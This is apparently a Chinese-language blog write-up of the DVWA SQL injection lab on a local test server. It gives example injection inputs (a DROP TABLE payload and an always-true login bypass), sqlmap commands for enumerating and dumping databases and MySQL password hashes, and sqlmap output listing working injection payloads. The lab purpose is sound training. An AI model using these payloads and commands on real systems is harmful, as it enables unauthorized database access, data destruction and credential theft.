SQL Injection

SQL Injection

SQL injection(SQL注入),通过在输入字段或URL查询参数中执行SQL命令,导致对数据库的未经授权的访问。如果SQL注入成功,未经授权的人可能会读取、创建、更新甚至删除数据库表的记录

举个例子:

假设我们有一个搜索表单,用于通过ID搜索我们网站上的产品。如果用户在表单中输入20; DROP TABLE Products;,那么SQL语句就变成了SELECT * FROM Products WHERE product_id = 20; DROP TABLE Products;。现在,这个SQL语句会从数据库中删除Products表。这是可能的,因为大多数数据库系统可以同时执行多个语句

另一种执行SQL注入的方法是通过传递一个始终为TRUE的条件,以便无论如何都能获取数据。例如,如果用户将用户名输入为invalid_user" OR "1"="1,并将密码输入为invalid_pass" OR "1"="1,那么SQL语句就变成了SELECT * FROM Users WHERE username = "invalid_user" OR "1"="1" AND password = "invalid_pass" OR "1"= "1"。由于"1"="1"始终为TRUE,所以无论用户输入什么用户名和密码,SQL都会从数据库中获取所有用户的数据

在下面的测试中我们使用,工具sqlmap进行,下面是一些常用的sqlmap的命令

  1. 检测是否存在注入点:

    python sqlmap.py -r "请求文件包路径"

    这个命令用于检测指定请求文件包中是否存在 SQL 注入漏洞。

  2. 获取注入点所有数据库:

    python sqlmap.py -r "响应包路径" --dbs

    一旦确认存在注入点,这个命令将用于获取目标数据库服务器上的所有数据库名称。

  3. 获取当前使用的数据库:

    python sqlmap.py -r "响应包路径" --current-db --batch

    这个命令用于获取当前数据库服务器上正在使用的数据库。

  4. 获取数据库中的表:

    python sqlmap.py -r "响应包路径" --tables -D "数据库名" --batch

    一旦确认存在数据库,这个命令将用于获取指定数据库中的所有表。

  5. 获取表中的字段信息:

    python sqlmap.py -r "响应包路径" --columns -T "表名" -D "数据库名" --batch

    这个命令用于获取指定表中的所有字段信息。

  6. 获取字段具体信息:

    python sqlmap.py -r "响应包路径" --dump -C "字段名(可多个)" -T "表名" -D "数据库名" --batch

    这个命令用于获取指定表中指定字段的具体信息。

  7. 获取当前使用的账户:

    python sqlmap.py -r "响应包路径" --current-user

    这个命令用于获取当前数据库连接的用户。

  8. 列出所有使用过的账户:

    python sqlmap.py -r "响应包路径" --users

    这个命令用于列出所有在目标数据库服务器上使用过的用户。

  9. 获取 MySQL 的登录账户和密码:

    python sqlmap.py -r "响应包路径" --passwords

    这个命令用于获取 MySQL 数据库中存储的账户和密码。

Low

我们先进行尝试,输入User ID显示对应的name,并且输入的ID值在URL栏中,抓包,获取请求文件。

SQLMap 需要了解应用程序如何处理用户输入并构建 SQL 查询。通常情况下是通过分析请求的方式来检测 SQL 注入漏洞的,

将请求保存到文件 ,使用 **sqlmap.py -r "请求文件的路径"**来判断是否存在注入点

根据 SQLMap 的输出,已确认了 GET 参数 id 存在 SQL 注入漏洞,后端数据库管理系统(DBMS)是 MySQL,Web 应用程序使用的技术是 PHP 7.3.4 和 Apache 2.4.39。

复制代码
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 150 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: id=1' OR NOT 6167=6167#&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x7178627a71,(SELECT (ELT(5600=5600,1))),0x7170766b71),5600)-- fHCD&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 2140 FROM (SELECT(SLEEP(5)))sxtb)-- lceH&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x7178627a71,0x4641787449665a466652656c6854747941486f476d76576569754c78454c6e6774687643746c5458,0x7170766b71),NULL#&Submit=Submit
---
[21:47:55] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.4, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[21:47:57] [INFO] fetched data logged to text files under 'C:\Users\LI\AppData\Local\sqlmap\output\127.0.0.1'

python .\sqlmap.py -r C:\Users\LI\Desktop\响应文件.txt -dbs

available databases [2]:

\*\] dvwa \[\*\] information_schema python .\\sqlmap.py -r C:\\Users\\LI\\Desktop\\响应文件.txt -D DVWA -tables 获取数据库表信息: Database: DVWA \[2 tables

+-----------+

| guestbook |

| users |

+-----------+

使用url参数也可

sqlmap -u " " --cookie " " -D - tables

Medium

使用工具注入,步骤相似,略

High

使用工具注入,步骤相似,略

相关推荐
老纪的技术唠嗑局18 分钟前
经验分享 —— 在 Ubuntu 虚拟机中部署 OceanBase 数据库
数据库·ubuntu
咖啡Beans43 分钟前
MySQL中使用@符号定义用户变量
数据库·mysql
GreatSQL4 小时前
MySQL迁移至GreatSQL后,timestamp字段插入报错解析
数据库
expect7g5 小时前
COW、MOR、MOW
大数据·数据库·后端
DemonAvenger7 小时前
MySQL海量数据快速导入导出技巧:从实战到优化
数据库·mysql·性能优化
lunz_fly19921 天前
Oracle清理:如何安全删除trace, alert和archivelog文件?
oracle
薛定谔的算法1 天前
phoneGPT:构建专业领域的检索增强型智能问答系统
前端·数据库·后端
Databend1 天前
Databend 亮相 RustChinaConf 2025,分享基于 Rust 构建商业化数仓平台的探索
数据库
得物技术1 天前
破解gh-ost变更导致MySQL表膨胀之谜|得物技术
数据库·后端·mysql
Raymond运维1 天前
MariaDB源码编译安装(二)
运维·数据库·mariadb